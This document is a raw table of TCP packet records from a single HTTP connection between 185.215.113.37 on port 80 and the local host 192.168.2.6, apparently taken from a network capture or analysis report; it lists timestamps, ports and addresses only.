Oct 25, 2024 13:50:21.160877943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.160878897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.160895109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.160902023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.160940886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.160945892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.160957098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.160967112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.160975933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.160990000 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.161000013 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.161005974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.161022902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.161067009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.161076069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.161098003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.161113977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.253184080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.258482933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.536371946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.536458015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.538604021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.538635015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.538691044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.538743973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.541322947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.541361094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.541404009 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.541424036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.542684078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.543389082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.544097900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.544133902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.544159889 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.544188976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.546874046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.546958923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.548903942 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.548991919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.549339056 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.549372911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.549401045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.549405098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.549426079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.549459934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.552612066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.552707911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.554342985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.554414034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.554737091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.554770947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.554804087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.554857969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.558136940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.558217049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.559747934 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.559827089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.560002089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.560036898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.560113907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.560113907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.563534021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.563569069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.563592911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.563621998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.565141916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.565217972 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.565295935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.565329075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.565347910 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.565381050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.569302082 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.569336891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.569375038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.569417000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.570599079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.570631981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.570661068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.570693016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.570698977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.570728064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.570744038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.570771933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.574846029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.574929953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.575881004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.575915098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.575948954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.575973034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.575982094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.576044083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.576060057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.580297947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.580354929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.581135988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.581170082 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.581207037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.581244946 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.581321001 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.581353903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.581368923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.581434965 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.585828066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.585896015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.586354971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.586369038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.586384058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.586421967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.586451054 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.586623907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.586988926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.591332912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.591348886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.591399908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.591428041 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.591667891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.591682911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.591747999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.592356920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.592518091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.596698999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.596716881 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.596764088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.596781969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.596868038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.596883059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.596895933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.596944094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.597785950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.597850084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.602169037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.602191925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.602205992 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.602221012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.602245092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.602272034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.603182077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.603198051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.603260994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.607454062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.607490063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.607553005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.608571053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.608596087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.608647108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.612698078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.612714052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.612731934 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.612759113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.612782001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.653863907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.653913975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.653930902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.653942108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.653970957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.653991938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.653999090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654009104 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654026031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654041052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654056072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654073000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654118061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654119968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654134035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654171944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654186964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654220104 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654237032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654311895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654326916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654342890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654355049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654357910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654375076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654375076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654408932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654414892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654431105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654439926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654445887 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654474974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654516935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654561043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654576063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654592037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654607058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654609919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654623985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654633045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654643059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654670954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654692888 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654839039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654861927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654876947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654891968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654906988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654908895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654922962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654943943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654947042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654963017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654973984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.654979944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.654998064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655014038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655014038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655061007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655072927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655076027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655092955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655102968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655138969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655169010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655184031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655199051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655214071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655229092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655242920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655261040 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655281067 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655303955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655329943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655344009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655396938 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655405998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655422926 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655437946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655452967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655462027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655469894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655493021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655500889 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655548096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655580044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655595064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655617952 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655656099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655759096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655775070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655790091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655806065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655821085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655828953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655837059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655852079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655864000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655867100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655884027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655885935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655899048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.655924082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.655958891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656110048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656126022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656141043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656156063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656171083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656174898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656187057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656208038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656215906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656223059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656238079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656240940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656255007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656270027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656284094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656285048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656300068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656308889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656312943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656323910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656344891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656371117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656559944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656577110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656590939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656615019 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656622887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656629086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656644106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656657934 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656661034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656672955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656688929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656689882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656704903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656716108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656719923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656735897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656735897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656752110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656766891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656773090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656781912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656799078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656817913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656842947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.656960011 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.656974077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.657318115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.696288109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.696368933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.696661949 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.696748018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.697040081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.697065115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.697079897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.697118998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.697118998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.697149038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.771285057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771301985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771326065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771367073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771388054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771395922 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771395922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.771415949 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771433115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771456957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.771486998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771492958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.771505117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771562099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771578074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771586895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.771598101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771609068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:21.771616936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:21.771644115 CEST	49712	80	192.168.2.6	185.215.113.37
